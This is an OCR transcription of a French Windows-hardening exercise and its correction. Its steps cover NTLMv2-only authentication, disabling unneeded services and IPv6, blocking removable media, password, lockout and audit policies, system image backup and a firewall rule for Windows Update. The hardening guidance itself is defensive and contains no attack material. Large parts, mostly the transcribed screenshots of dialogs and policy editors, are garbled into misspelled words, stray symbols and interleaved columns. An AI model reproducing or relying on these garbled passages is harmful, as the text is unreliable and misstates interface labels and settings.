* Allez dans : Configuration ordinateur = Paramétres Windows = Paramétres de sécurité--> e T T T (B B b B L e TR o B e A
;s . . 4 .y s protocole d'authentification qu 'utiisert les clients, le niveau de
Stratégies locales = Options de sécurité e e e e e
d’authentification qu'acceptent les serveurs, de la fagon

suivante

* Parcourez la liste et sélectionner Sécurité réseau : niveau d'authentification du LAN Manager
Envoyer les réponses LM et NTLM : les clients utilisent

* Examinez la liste fournie pour les différents niveau d’authentification fournis. Pour avoir une idée 'authertification LM st NTLM et n'ort jamais recours & la
sécunté de Isessmn_NTLlM\rE . les contrdleurs de domaine
sur la signification de chaque niveau de sécurité, tapez le menu Expliquer (comme illustré dans la acceptent I'authentfication LM, NTLM et NTLMvZ.
figure ci-dessous) Envoyer LM et NTLM - utiliser la sécurité de session NTLM

version 2 si négociée : les clients utilisent I'authentification LM et
NTLM ainsi que la sécurité de session NTLMvZ si le serveur la

* Attribuez comme niveau de sécurité la valeur « uniquement NTLM v2, Refuser LM » prend en charge. Les contréleurs de domaine acceptent
I'authentffication LM, NTLM et NTLMy2.

* Validez le choix Envoyer uniquement les réponses NTLM : les clients wtilisent
I'authentification MTLM uniquement, ainsi que la sécurté de
session NTLMv 2 si le serveur la prend en charge. Les

contrileurs de domaine accentent |'aithentification | M NTIM ¥

Pour obtenir plus d'informations sur la stratégie de sécurité et les
fonctionnalités de Windows, visitez le site Web de Microsoft.

o
—
-
<
o

QK || Annuler || Appliquer |
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Etape 2 : Limiter les connexions réseau

Les objectifs de cette étape sont de limiter les fonctions d’une interface réseau et désactiver les protocoles réseau inutiles afin de limiter les attaques réseau.

1. Afin d’examiner les fonctions d'une interface réseau et sélectionner celles qui sont utiles, sélectionnez Panneau de configuration 2 Réseau et Internet/Connexion
réseau - clic droit sur I'interface réseau (Ethernet) - Propriétés.

* Souvent, les fonctions d’une interface réseau utile pour la plupart des systemes sont :
* Client pour réseau Microsoft
* Protocole Internet version 4 (TCP/IPv4)
* Les autres options peuvent étre désactivées (ou désélectionnées) :
* Partage de fichiers et imprimantes :Utile pour les serveurs de fichiers
* Planificateur de paquets QoS : Utile dans le cas de I'adoption de la priorisation du trafic
* Les protocoles de découverte LLDP et topologie de la couche de liaison : Inutiles

¢ Travail demandé : Désactivez les fonctions inutiles de votre interface réseau

2. Désactivez le protocole IPv6 inutilisé comme suit : Panneau de configuration = Gestionnaire de périphériques = Menu Affichage = Afficher les périphériques
cachés/réseau—> désactivez Wan Miniport IPv6.

o
—
-
<
o
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Etape 3 : Limiter les risques liés a I'usage de médias amovibles

* Pour bloquer les attaques exploitant les médias amovibles, il est possible de désactiver la possibilité d'utilisation des médias amovibles sur les postes.

* Pour ce faire, vous étes appelés a:
* Lancer gpedit.msc;
* Activer les deux options suivantes :

* Configuration Ordinateur - Modeéle d'administration = Systéme = Acceés au stockage amovible = Toutes les classes de stockage amovible : refuser
tous les acces

* Configuration Ordinateur = Modeéle d'administration = Systeme - Installation de périphérique = Restriction d'installation de périphériques =
Empécher l'installation de périphériques amovibles

N
—
-
<
o
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Etape 4 : Définir un modéle de sécurité pour les comptes systéme

* Lobjectif de cette étape est de définir un modele de sécurité pour les comptes systémes

* Pour ce faire, il vous est demandé de :

* Configurez une politique de mots de passe des comptes comme suit :

* Lalongueur des mots de passe doit étre supérieur ou égale a 8 caractéres composés de minuscules, de majuscules et de chiffres

* La durée de vie maximale doit étre 30 jours
* La durée de vie minimale doit étre supérieure a zéro
* Les anciens mots de passe ne doivent pas étre réutilisés en permanence (seuil égale a 24)

* Définir un seuil de verrouillage égal a 3 échecs de connexion a tous les comptes d'utilisateurs

* Pour configurer la stratégie demandée, il suffit de lancer Stratégie de sécurité locale = Stratégie de comptes

o
—
-
<
o
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Etape 5 : Définir une stratégie d’audit

* L'objectif principal de cette étape est d’activer et configurer la journalisation des principaux événement exécutés dans un systeme. Cela permet d’identifier les sources
de menaces lors de I'apparition d’'une attaque de sécurité

* Pour ce faire, il vous est demandé de :
* Activer la journalisation des tentatives réussies et échouées pour les événements systéeme
* Activer la journalisation des tentatives réussies et échouées pour les événements de connexion au compte et la connexion événements

* Activer uniguement la journalisation des tentatives réussies d'utilisation des privileges et d'accés aux objets

* Pour configurer la stratégie demandée, il suffit de lancer Stratégie de sécurité locale = Stratégies locales = Stratégie d’audit

o
—
-
<
o
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Etape 6 : Exécuter la restauration du systéme et créez un point de restauration.

* Cette étape est importante car elle permet de créer des sauvegardes d'image systeme de I'ensemble d’un systéme d'exploitation, y compris les fichiers systemes, les
programmes installés et les fichiers personnels

* |l est possible d’enregistrer I'image systeme sur un lecteur interne ou externe, ou sur des CD ou des DVD

* Pour ce faire, allez dans Panneau de configuration—> Systéme et maintenance = Sauvegarde et restauration

Wb Sauvegarder et restaurer (Windows 7) — O x

« v A '@« Systé... » Sauvegarder et resta... v | O 2 Rechercher

Page d'accueil du panneau de

configuration Sauvegarder ou restaurer des fichiers

. . ; Sauvegarder
® Créer une image systéme
& Créer un disque de réparation Sauvegarde Windows non configurée. ®) Configurer la sauvegarde
systéme
Restaurer

Pour cet ordinateur, Windows n'a détecté aucune sauvegarde,

®) Choisir une autre sauvegarde comme source de restauration des fichiers

o
—
-
<
o

* Dans le volet de gauche, cliquez sur Créer une image systéme, puis suivez les étapes
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Etape 7 : Configurer des régles de sécurité pour le pare-feu Windows

Lobjectif de cette étape est de découvrir les étapes de configuration de nouvelles regles a un pare-feu Windows

Pour ce faire, dans cette étape vous allez ajouter une régle au pare-feu Windows qui autorise la mise a jour du systeme Windows

* En effet, parmi les bonnes pratiques de sécurité, figure celle de mettre a jour constamment le systéme d’exploitations

Pour allez ajouter une régle au pare-feu Windows qui autorise la mise a jour du systeme Windows, vous étes chargés de :
 Aller dans Panneau de configuration = Pare-feu Windows = Parametres Avancés
* Cliquer sur Régles de trafic sortants = Nouvelle regle
» Sélectionner Personnalisée - Services = Personnaliser = défiler la liste et trouver Windows Update = Appliquer a ce service ok > Suivant
* Sélectionner TCP comme protocole puis cliquer suivant
* Dans la fenétre Action, sélectionner Autoriser la connexion puis cliquer sur suivant
* Cocher tous les profils pour cette regle

* Donner un nom a cette regle, "Autoriser le service Windows Update"
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Activité 4 \ (?Fgg wEBFggﬂ :
Correction /) AR B

Etape 1 : Désactiver les services inutiles et renforcer le niveau de sécurité des services existants

Cette figure illustre I'interface qui affiche les différents services, qui est lancée suite a I'exécution de services.msc

I Services - O X
Fichier Action Affichage 7
e |@ Gz HE > >80 p
L .~ A- - -=FR--HR
Sélectionnez un élément pour obtenir  Nom - Description Etat Type de démarrage 2
une description. E@p\?\ccés aux données utilisate... Fournit I'ac... Manuel
EQ;\?chuisition d'image Windo... Fournit des ... Manuel
E@ﬂkgent Activation Runtime_.. Runtime for.., Manuel
EQ;ﬂtgent de stratégie IPsec La sécurité ... Manuel (Déclenche...
EQ;\?\Iimentatiorl Gére la strat.. Enco..  Autematique
E@Appel de procédure distant... LeserviceR.. Enco.. Automatique
EQp\?\;:l;:llicatiorl systéme COM+  Gére la conf... Manuel
E:,,é:,%p\ftssistar1ce P Fournit une ... Enco.. Automatique
E:“?;%;stsistance NetBIOS sur TCP..  Prend en ch...  Enco..  Manuel (Déclenche..
@Assistant Connectivité réseau  Fournit la n... Manuel (Deéclenche...
EQ;\?Lssistarlt Connexion avec u... Autorisela.. Enco.. Manuel (Déclenche..
E@;,;M::li:) Windows Gére les péri.. Enco.. Automatique
EQ;\?Luther'ltiﬁcatia-r'l naturelle Service d'ag... Manuel (Déclenche...
@BranchCache Ce service .. Manuel
N E@CaptureSer\.rice_-’J-{?-Bal:r Active |a fo.. Manuel
EQ;Car’ceé puce Gére l'acces.., Manuel (Déclenche...
E E@Carte de perfermance WM|  Fournit des ... Manuel
l— -:9;& Centre de sécurité Le service..  Enco.. Automatique (débu..,
m @Cliché instantané des volu..  Gére et impl... Manuel
< -@ Client de stratégie de groupe  Le service e..  Enco..  Automatique (décle...
n. E@g(ﬁlierﬂ: de suivi de lien distri.. Conservele.. Enco.. Automatique v
< >
Etendu /(’Standard[
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Etape 1 : Désactiver les services inutiles et renforcer le niveau de sécurité des services existants
Cette figure illustre la désactivation du service Téléphonie Cette figure illustre la désactivation du service Télécopie
& Services [m} B Serice - 0
fuchier Aclion Alfichage 7 Fichier Action  Affichage 7
- Fl m Ei i H ml Pomome Praprittés de Téphonie [Ordinatewr localj X = | M E s | Hm v muw Fropriétés die Télécopie (Ordinateur local) ® k
" Services (Iecal) h £y Services (lacal)
Général Copnesion Réoupémuon  Dépendances Gerdrd T Reécupsration  Deépend
Téatphonie - Télécapie Mo 2
_— Ehg  Homdusenice | TapiSe o i 8 Nomdoserdes - Fax
Démzeres le senvice E Hom compiet : Tek SEMIAMEr ie senmce g Mom complel | Taepie
Description : 5‘& Cercrplir P en change 'meface TAPI (Tadephony &F1F 4, Descriotion : ; [asespion © peEme denvoyer st oe reosor e -
P::;mo;urgzlinwﬁczmlil & WW}W@TET’. ml - st ¥ 'I'amr:::rL dervayer el de recevain % “m;iﬂfir:’nfuﬁfl%mz -
(Felephony AP} pour les B89 Crerin o 'acobe des fichier exbeulablos destélécopies, dutilerles @4 | Chomin & anste desfchior asdounabios :
oI ST ] Cinsomsmnd2evsmt e 4 evakies e sebopedopenies (X1 Taun £ el e
:::I.mrl I::ra;:t, “ia Ier;-l:u g Typade démarae Désactivé " g Types e chémanmage © Désactivi o
executent tgalement be serece. & 8
g st oy semace @ AmEs g Blal du servics - Aribs
N g E&wm speofierles parameines qu 5 aopbiguent su démamage du % “\bumtpwmmddmbumﬁm gu 5" mophguent su démamage du
DE.
& @
w G| Pramitrs de dimarage | Gy Pensmétesdecémerme |
= & &
E w -
¢ > < >
o '\ Etend { Sardord | j L0 [ demier | [ fovine \ Erenc { Sndard ] [ [ 17 st | sowiaer
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Etape 1 : Désactiver les services inutiles et renforcer le niveau de sécurité des services existants

Cette figure illustre la désactivation du service Carte a puce Cette figure illustre la désactivation du service Service de prise en charge Bluetooth

Copyright - Tout droit réservé - OFPPT

Propriétés de Carte 3 puce (Ordinateur local) > Propriétés de Service de prise en charge Bluetooth (Ordinateur local) X
Général Connexion Récupération Dépendances General  Connexion  Récupération  Dépendances
Mom du service :  SCardSwr MNom du service :  bthserv
Mom complet : Carte & puceI Nom complet Service de prise en charge Bluetooth
Description - ere |'acces aux cartes a puce lues par cet s Description : Le service Bluetooth prend en charge la ~
rdinateur. 5i ce service est améte, cet ordingteur écouverte et 'association d'appareils Blustooth
a mrnirra nhie e As radac 5 roirae B ra canvica ictzrde | 'amdEt s la Adoartivatinn da ra camiica
Chemin d’accés des fichiers exécutables : Chemin d'accés des fichiers exécutables :
C:\Windows'system 32 svchost exe 4 LocalService AndMolmpersonation CWindowssystem32\avchost exe & LocalService p
Type de démarrage : | Désactive ~ Type de démamage : | Désactive w
Etat du service :  Amété Etat du service ©  Amété
Demarrer Amréter Suspendre Reprendre Démamer Améter Suspendre Reprendre
(o] Wous pouves spécifier les paramétres qui s'appliquent au démarage du Vous pouvez spécifier les paramétres qui s'appliquent au démarrage du
Ll service. senvice.
—
E Paramétres de démamrage : Paramétres de démarrage :
a.
oK I | Annuler | | Appliguer | 0K I | Annuler | | Appliquer |
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Etape 1 : Désactiver les services inutiles et renforcer le niveau de sécurité des services existants

Cette figure illustre la désactivation du service Spouleur d’impression

o
—
-
<
o

Propriétés de Spouleur d'impression (Ordinateur local)
Gé"liﬂ Connexion Récupération Dépendances

MNom du service :  Spooler

MNom complet Spouleur dimpression

& service met en spoule les travaux d'impression A
gére l'interaction avec I'imprimante. Si vous

arrdtar o candica e na nearsr nhie imndmar mi

Description
W

Chemin d'acces des fichiers exécutables :
C:\Windows\System32\spoolsv exe

Type de démarage : | Désactive v

Etat du service ©  En cours d'exécution

Démarmer Améter Suspendre Reprendre

Vous pouvez spécifier les paramétres qui s'appliquent au démarmrage du
service.

Faramétres de démarnage :

X

DK || Annuler || Appliquer

Copyright - Tout droit réservé - OFPPT

Propriétes de Service Initiateur i5C5| de Microsoft (Ordinateur local) *
Genéral  Connexion Récupération Dépendances

Mom du service :  MSiSCSI

Maom complet : Service Intiateur i5C51 de Microsoft
Descrintion - ere les sessions iSCSI (Intemet SCSI) a partir de
ot Ee‘t ardinateur sur les pérphérgues cible i5C5]
ictarde Qi ra canvira act aratd 'ardinstanr na

Chemin d'acces des fichiers exécutables :
C:A\Windows'\system 32 avchost.exe 4 netsves p

Type de démarmrage : | Désactivé v

Btat du service ©  Amété

v | [AGER

Wous pouvez spécifier les paramétres qui s'appliquent au démamrage du
service.

Suspendre Reprendre

Paramétres de démarage :

QK || Annuler || Appliquer |

WE

BFORCE
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Cette figure illustre la désactivation du service Service Initiateur iSCSI de Microsoft
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Etape 1 : Désactiver les services inutiles et renforcer le niveau de sécurité des services existants

Cette figure illustre la désactivation du service Partage de connexion Internet

o
—
-
<
o

Propriétés de Partage de connexion Internet (ICS) (Ordinateur local) X
Géngral  Connexion Récupération Dépendances

MNom du service :  SharedAccess

MNom complet Partage de connexion Intemet (ICS)

adressage, les services de résolution de noms

'rii lae oansirac Ao rrdwartinn A'irdacies feaoron

Description : tssure la traduction d’adresses de réseau, ~
]

Chemin d’'acces des fichiers exécutables :
CaWindows\System 32 avchost exe & netsves p

Type de démamage : | Désactivé i

Etat du service ©  Amété

Demarrer Améter Suspendre Reprendre

Vous pouvez specifier les paramétres qui s'appliquent au démarrage du
service.

Paramétres de démamrage :

QK || Annuler || Appliquer |

Copyright - Tout droit réservé - OFPPT

Propriétés de Routage et accés distant (Crdinateur local)
Géngral  Connexion Récupération Dépendances

Nom du service :

RemateAccess

MNom complet Routage et acces distant

Te aux entreprises des services de routage dans

Description : - = -
es environnements de regeau local ou étendu.

Chemin d’'acces des fichiers exécutables :
CaWindows\System 32 avchost exe & netsves

Type de démamage : | Désactivé i

Etat du service ©  Amété

Demarrer Améter Suspendre Reprendre
Vous pouvez specifier les paramétres qui s'appliquent au démarrage du

service.

Faramétres de démarrage :

QK || Annuler | Appliquer

pd

WEBFORCE «

B

Cette figure illustre la désactivation du service Routage et accés distant
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Etape 1 : Désactiver les services inutiles et renforcer le niveau de sécurité des services existants

Cette figure illustre 'amélioration du niveau de sécurité de I'authentification a distance (Sécurité réseau : niveau d'authentification du LAN Manager) en lui attribuant

comme valeur « uniquement NTLM v2, Refuser LM »

LE[ Editeur de stratégie de groupe locale

Fichier Action  Affichage 7

o 2EIXE = HE

o
—
-
<
o

=[ Stratégie Ordinateur local
~ i Configuration ordinateur
» [] Paramétres du logiciel
~ || Paramétres Windows
> [ Stratégie de résolution de noms
=] Scripts (démarrage/arrét)
> = [mprimantes déployées
v i‘ Paramétres de sécurité
>[4, Stratégies de comptes
~ [ 4 Stratégies locales
>[4 Stratégie d'audit
» [ Attribution des droits utilisate
| Options de sécurité
» || Pare-feu Windows Defender aver
|| Stratégies du gestionnaire de list
» [ Stratégies de clé publique
» || Stratégies de restriction logicielle
» [ Stratégies de controle de 'applic
5 8, Stratégies de sécurité P sur Ordir
» || Configuration avancée de |a stral

> gl QoS basée sur la stratégie
~ 7 Madéles A'adminictratinn

Stratégie

1iiy| Sécurité réseau :
1iiy| Sécurité réseau :
lig| Sécurité réseau:
£ Sécurité réseau :
1iiy| Sécurité réseau :
1iiy| Sécurité réseau
lig| Sécurité réseau:
1iig| Sécurité réseau :
1iiy| Sécurité réseau :
lig| Sécurité réseau:
lig| Sécurité réseau:
1iiy| Sécurité réseau :
1ily| Sécurité réseau :
lig| Sécurité réseau:
1iig| Sécurité réseau :
1iiy| Sécurité réseau :
lig| Sécurité réseau:
lig| Serveur réseau M
;| Serveur réseau M
1iy| Serveur réseau M

Propriétés de : Sécurité réseau : niveau d'authentification ... ? *
Paramétre de sécurté locale

Expliquer

Sécurité réseau : niveau d'authentification LAN Manager

IH

|§Erw03rer uniquement les réponses NTLMv2. Refuser LM L

La modffication de ce paramétre peut affecter la compatibilité avec les
ﬁﬁ clients, les services et les applications.

Pour obtenir davantage d'informations, consultez Sécurité réseau -
niveau d authertification LAN Manager. (Q323659)

I QK || Annuler || Appliquer
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Activite 4 O WEBFORCE .

. OFPPT BE THE CHANGE
Correction
Etape 2 : Limiter les connexions réseau
Figures illustrant la désactivation des fonctions inutiles d’une interface réseau.
58 Centre Réseau et partage — O * @}Propriétés de Ethernet o
« h v 4~ Er < Rése.. » Centre Réseau et par.. v O 2 Rechercher Gestion de réseau
Page d'accueil du panneau de [ Etat de Ethernet ) B conﬁgurer des connexions Connexion en utilisant :
configuration
Général B ? Intel(R) PRO/1000 MT Desktop Adapter
Meodifier les paramétres de la |
carte Connexion lcces Internet
: Ethernet

Meodifier les pa'ramétres de Connectivitd IPv4 : Internet - v = Cette connexion utilise les éléments suivants -

partage avances Connectivité IPve : Pas d'accés réseau - " -

Options de diffusion Etat du média : Active | EUIEH’E pour les rézeaux Microsoft ~

multimédia en continu Durée : 00:37:51 O ? Partage de fichiers et imprimantes Réseaux Microsoft

Edu -
Vitesse : 1,0 Gbits/s lce ou VPN, cu configurez un routeur ou = ? Planficateur de paguets (o5
' 4. Protocole Intemet version 4 (TCP/IPw4)
O 4 Protocole de muttiplexage de carte réseau Microsoft
[] s Piote de protocole LLDP Microsoft
Activits ccédez a des informations de [ Frotocols Intemet version 6 (TCP/IPvE) W
£ >
Envoyés — gg —_— Regus
o rﬁ’é? Installer ... Deésinstaller Proprigtés
" Octets : 3673801 | 175 292 537 Description
— TCP/IP version 6. Demiére version du protocole Intemet permettant la
E | mem.ébés | | QDésacﬁuer | | Diagnostiquer | communication entre réseaux hétérogénes interconnectés.
Q. Voi . Fermer
oIr aussl
Optiens Internet QK | | Annuler

Pare-feu Windows Defender
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Etape 2 : Limiter les connexions réseau
Figures illustrant la désactivation de Wan Miniport IPv6
& Gestionnaire de périphérigues [} - O k4 # Gestionnaire de périphériques - m} et
Fichier  Action Affichage ! Fichier Action Affichage 7
4o o | [E]® appareit por type & FIEIEEIE EX®
Appam:ls par connexion = v & DESKTOP-429)ET7 -
w 7 furtres Appareils par conteneur v l@' Autres périphériques
R Per flessources par type Ei Périphérique systéme de base
* * Batterii Ressources par connexion > 3 Batteries
» I Cartes » [ Cartes graphiques
w I Cartes . Afficher les périphériques cachés v [P Cartes réseau
. Inis T ! Intel(R) PROA1000 MT Desktop Adapter
! Bl I Microsoft Kernel Debug Network Adapter
15 WAN Miniport (IKEv2) I WAN Miniport (IKEv2)
I WAN Minipost (IF) I WAN Miniport (IP)
I WAN Miniport (IPw) = WAN Minipor+ f1m-& - -
I3 WAN Minipoet (LITP) (5 WAN Minipor Mettre & jour le pilote
I WAN Miniport (Metwork Monitor) ! WAN Minipor
15 WAN Minipcet (PPPOE) 5 WAN Minipor Désinstaller I'appareil
& WiH Minipodt (PPTF) ! WAN Minipor
P WAN Minipost (55TP) ! WAN Minipor Rechercher les modifications sur le matériel
B Claviers » Claviers s s
Propriét
i Conmaleurs sudia, vidéo et jeu 5 i Contréleurs audic, roprietes
(o] § Contréleurs de bus USE > § Contréleurs de bus USB
wi S Contréleurs de stockage 3 ﬁ Contréleurs de stockage
e - Contrdleurs IDE ATA/ATAR » =g Contrdleurs IDE ATA/ATAPI
I— ﬂ Entrées et sorties audio > ﬂ Entrées et sorties audio
m Frles o stbente & Limpression ; » [ Files d'attente a l'impression:
< - Lecteurs de disque 5 wm Lecteurs de disque
o s Lecteurs de DVDACD-ROM w 3 wa Lecteurs de DVD/CD-ROM w
Désactive I'appareil sélectionné.
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Correction |
Z . . . e 7 Y l y 4 . .
Etape 3 : Limiter les risques liés a l'usage de médias amovibles
Figures illustrant l'activation de l'option Toutes les classes de stockage amovible : refuser tous les accés
_EJ Editeur de stratégie de groupe locale _ O » A Toutes les classes de stockage amovible : refuser tous les accés [m| X
Fichier Action Affichage 7 Toutes les classes de stockage amovible : refuser tous les accés e d oy | | Paramétre suivant

o | E2HE T

(o)
—
-
<
o

w [ Systéme ”

=
=
=
» @
=
=
=
=

ERRRRRRDEEERER

Acces au stockag
Acces au stockag
Affichage
App-V

Appel de procéd
Assistance 3 distz
Assistance en cas
Assistant de stocl
Audit de création
Cache NV de disc
Complexité du ct
DCOM
Délégation d'infa
Dépannage et diz
Device Guard
Fermeture
Fournisseur de cl
Gestion de I'alirm
Gestion de la con
Gestionnaire de s
Infrastructure de ¥

Toutes les classes de stockage
amovible : refuser tous les accés

SModifier le paramétre de stratégie

Configuration requise:
Au minimum Windows Vista

Description :

Permet de configurer I'accés 3
toutes les classes de stockage
amovible,

Ce paramétre de stratégie a
pricrité sur les paramétres de
stratégie individuels relatifs au
stockage amovible, Pour gérer des
claszes individuelles, utilisez les
parameétres de stratégie
correspondant & chaque classe.

Sivous activez ce paramétre de
stratégie, aucun accés n'est
autorisé aux classes de stockage

Paramétre 2

\i=| Définir le délai (en secondes) avant de forcer le redér
a E CD et DVD : refuser I'acces en exécution

|iz) CD et DVD : refuser I'accés en lecture

iz CD et DVD : refuser I'acces en écriture

|| Classes personnalisées : refuser 'acces en lecture

\iz| Classes personnalisées @ refuser ['accés en Ecriture

\iz| Lecteurs de disquettes : refuser I'accés en exécution

|iz| Lecteurs de disquettes : refuser I'accés en lecture

|| Lecteurs de disquettes : refuser I'acces en ecriture

\i=| Disques amovibles : refuser 'accés en exécution

=| Disques amovibles : refuser I'accés en lecture

Disques amovibles : refuser I'acces en ecriture

Toutes les classes de stockage amovible : refuser tou

\iz| Tout stockage amovible : permet I'acces direct pend;
|iz| Lecteurs de bandes : refuser |'acces en exécution
\iz| Lecteurs de bandes : refuser I'accés en lecture

v |iz| Lecteurs de bandes : refuser |'accés en écriture W

£ >

O Non cenfiguré Commentaire :

(® Activé

() Désactivé

Pris en charge sur:

Options:

Au minimurm Windows Vista

Aide:

Permet de configurer I'accés a toutes les classes de stockage
amovible,

Ce parameétre de stratégie a priorité sur les paramétres de
stratégie individuels relatifs au stockage amovible, Pour gérer des
classes individuelles, utilisez les paramétres de stratégie
correspondant a chaque classe.

Sivous activez ce paramétre de stratégie, aucun accés n'est
autorisé aux classes de stockage amovible.

Sivous désactiver ce paramétre de stratégie ou si vous nele
configurez pas, les acces en lecture et Ecriture sont autorisés
pour I'ensemble des classes de stockage amovible.

oK | | Annuler || Appliquer
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Etape 3 : Limiter les risques liés a I'usage de médias amovibles

Figures illustrant l'activation de 'option Empécher l'installation de périphériques amovibles

_EJ Editeur de stratégie de groupe locale — O b4 A Empécher l'installation de périphériques amovibles O X
Fichier Action Afflchage : Empécher I'installation de périphériques amovibles ] | | Paramatre suivant
| 2@ = @@l T el
O Non configuré Commentaire :
" affichoge A || Restrictions dinstallation de périphériques | @
» [ App-V ) ) . O Désactivé
x . Sélectionnez un élément pour obtenir  Parametre Pric en ch )
] Appel de procéd une descrintion ns en charge sur: | oy minimum Windows Vista
[%] Assistance 3 distz prion. \iz] Autorniser les administrateurs & passer outre les stratégie
[ Assistance en cas \iz| Permettre l'installation de périphériques a I'aide de pilot
- : — . . . .. .. P . Qptions: Aide:
| Assistant de stocl \iz| Empécher l'installation de périphériques 3 'aide de pilcd
] Audit de création |i=| Afficher un message personnalisé lorsque l'installation ¢ Ce paramétre de stratégie empéche Windows d'installer des ~
= . 12 . . - . périphériques amovibles. Un périphérique est considéré comme
;| Cache N‘l.!" -:Jie dise \iz| Afficher un message personnalisé lorsque linstallation « étant amoviblelorsque e pilote du périphérique auquel i st
[ Complexité du ct \iz] Autorniser l'installation de périphériques correspondant connecté indique que le périphérique est amovible. Par exemple,
- . . i L. L. un périphérique USB (Universal Serial Bus) est déclaré amovible
» [ DCOM |iZ| Empécher l'installation de périphériques correspondant par les pilotes du concentrateur USB auquel le périphérique est
| Délégation d'info = - . - PRI 4 connecté. Ce parameétre de stratégie prévaut sur tout autre
:_I . g . 5| Autoriser l'installation de périphériques correspondant : paramétre de stratégie autorisant l'installation de périphériques
» [] Dépannage et diz |i=| Empécher l'installation de périphériques correspondant par Windows.
| Device Guard \iz] Délai (en secondes) pour forcer le redémarrage afin d'ap Si vous activez ce paramétre de stratégie, Windows ne peut pas
j Fermeture - . - . .. . . installer de périphériques amovibles et les pilotes des
N j E . de dl E5] Empecher linstallation de perlpherlques amovibles périphériques amovibles existants ne peuvent pas étre mis a jour.
ournisseur de cl — N " . . . ) ; . L .
. ) o || Empécher l'installation de périphériques non décrits par 3'_ vous EC_T""EZ CE_PE_':"”E"'E del"”af_g'e sur ‘:i” 55"‘;’?“}'1 Bureau 3
I 1 l % :l Gection de 'alim |star|.ce,| a L'II'1.E.I'I'1CI ence sur la re |rect|on\ es périphériques
— - . amovibles spécifiés depuis un client Bureau 3 distance vers le
I » :l Gestion de la con serveur Bureau & distance,
m :l Gestionnaire de s Sivous désactivez ce paramétre de stratégie ou ne le configurez
< j Infrastructure de pas, Windows peut installer ou mettre a jour les pilotes des
= . . eriphériques amovibles conformément aux autorisations ou
(a1 w [ Installation de pé PENPRENAuEs 2T L e ! v
:I Restrictions d OK | | Annuler | | Appliquer
| Installation de pil ¥ < >
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Activité 4 \ (?Fgg wEBFTQEH&E :
Correction /) AR B

Etape 4 : Définir un modéle de sécurité pour les comptes systéme

Linterface de configuration de la stratégie de mot de passe Durée de vie maximale d’un mot de passe configurée égale a 30 jours

5 Stratégie de sécurité locale — O X Propriétés de: Durée de vie maximale du mot de passe ? *

Fichier Action Affichage 7 . PR
Faramétre de sécurité locale  Expliquer

e | 2F X H
= j Durée de \ri%’laximale du mot de passe

F Paramétres de sécurité Stratégie Paramétre de sécurité
~ [ Stratégies de comptes

o ——— = 17y Conserver I'historique des mots de passe 0 mots de passe mémaori...

’ % tlah‘:g.le Elnot ?I £ 1z Durée de vie maximale du mot de passe 42 jours

>[4, Stratégie de verrouillage du comp|| i . ]

T Stratégies local 1) Durée de vie minimale du mot de passe 0 jours
> ratégies locales i -
s B Pare-fgeu Windows Defender avec fon 11z Enregistrer les mots de passe en utilisant un chiffrement rév... Désactivé Le mot de lpz|asse expirera dans :

= . . . . 5ig] i i ité Esactivé 30| jours

5 Stratégies du gestionnaire de listes de Ll-tm Le mot de pallslse duoit respecter des exigences de complexité Desactlv‘e =

[ Stratégies de clé publique 124 Lengueur minimale du mot de passe 0 caractére(s)

>

» [ Stratégies de restriction logicielle

> [ Stratégies de contréle de I'application
» g Stratégies de sécurite P sur Ordinatey
» [ Configuration avancée de la stratégie

~N
—
]
<
a

I QK || Annuler || Appliquer |
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Activité 4
Correction

Etape 4 : Définir un modéle de sécurité pour les comptes systéme

o
—
-
<
o

Durée de vie minimale d’'un mot de passe configurée égale a 5 jours

Proprietés de: Durée de vie minimale du mot de passe

Paramétre de securité locale  Expliquer

Durée de vie minimale du mot de passe

Le mot de passe peut &tre modffié aprés
E % jours

x

OK || Annuer || Appliquer |

Copyright - Tout droit réservé - OFPPT
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Propriétés de: Longueur minimale du mot de passe

Paramélk de sécurité locale  Expliquer

Longueur minimale du mot de passe

Le mot de passe doit faire au minimum :

g % caractére(s)

*

[ ok ]| annuer | Appliguer |

WE

BFORCE

BE THE CHANGE

Longueur minimale d’'un mot de passe configurée égale a 8 caractéres
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Activité 4 \ (?Fgg wEBFTQEH&E :
Correction /) AR B

Etape 4 : Définir un modéle de sécurité pour les comptes systéme

Activation de I'option de vérification de complexité d’'un mot de passe Restreindre I'utilisation d’un ancien mot de passe avec un seuil égal a 24

Propriétés de: Le mot de passe doit respecter des exigenc... ? X Proprigtés de: Conserver I'historique des mots de passe ? x

B

Paramétre de seécurite locale  Expliquer Paramétre de securité locale  Expliquer

Le mot de passe doit respecter des exigences de complexité j Conserver |'historique des mots de passe

(®) Active .
Conzerver I'historiqgue du mot de passe pendant :
(_) Désactive 24 % mots de passe mémorisés

o
—
-
<
o

oK | Aonuer || Appliquer | [ ok ] Annuer || Appliquer |
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Activité 4 \ (?,..‘33 wEBFTQEH&E :
Correction AR B

Etape 4 : Définir un modéle de sécurité pour les comptes systéme

Interface illustrant la configuration de la nouvelle stratégie de mot de passe

T Stratégie d%écurité locale — ] >
Fichier Action Affichage 7
L AR lHEY

 Paramétres de sécurité Stratégie Paramétre de sécurité
~ [ Stratégies de comptes

N K l%z| Conserver I'histerique des mots de passe 24 mots de passe mémo...
> |4, Stratégie de mot de passe e ' . i
= . . 1) Durée de vie maximale du mot de passe 30 jours
» [ 4 Stratégie de verrouillage du comp|| . ) . .
125 Durée de vie minimale du mot de passe 5 jours

3 ,3 Stratégies locales

s+ [] Pare-feu Windows Defender avec fon
[7] Stratégies du gestionnaire de listes de
(7] Stratégies de clé publique

[ Stratégies de restriction logicielle

|2iz| Enregistrer les mots de passe en utilisant un chiffrement rév... Désactivé
Ly Le mot de passe doit respecter des exigences de complexité  Activé

12z Longueur minimale du mot de passe 8 caractere(s)

WO W

[ ] Stratégies de contrdle de I'application
» g Stratégies de sécurité [P sur Ordinatey
» [ 7] Configuration avancée de la stratégie

o
—
-
<
o
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Correction OFPPT & e CHANGE

Etape 4 : Définir un modeéle de sécurité pour les comptes systéeme

Interfaces illustrant la configuration d’un seuil de verrouillage égal a 3 échecs de connexion a tous les comptes d'utilisateurs.

T Stratégie de sécurité locale - LI X — (] x .
Fichier Action Affichage 7 Propriétés de: Seuil de verrouillage du compte 7 X
@ e[ s
$|E-||§|ﬂ- Faraméire da sécumle bcak | Expliquer
Paramétres de sécurité £qi - & Sourité &qi
ilj e . Stratégie Paramétre de sécurité 5"-.”"'5" Semil de- P —
e rasegle's : edcomp e: [ Durée de verrouillage des comptes MNon applicable lzs| Dusrée de verrouilla F
’ % S:l'::?gled: mot ?Ipass:' [ Réinitialiser le compteur de verrouillages du compte aprés Non applicable lzs| Réinitialiser le com
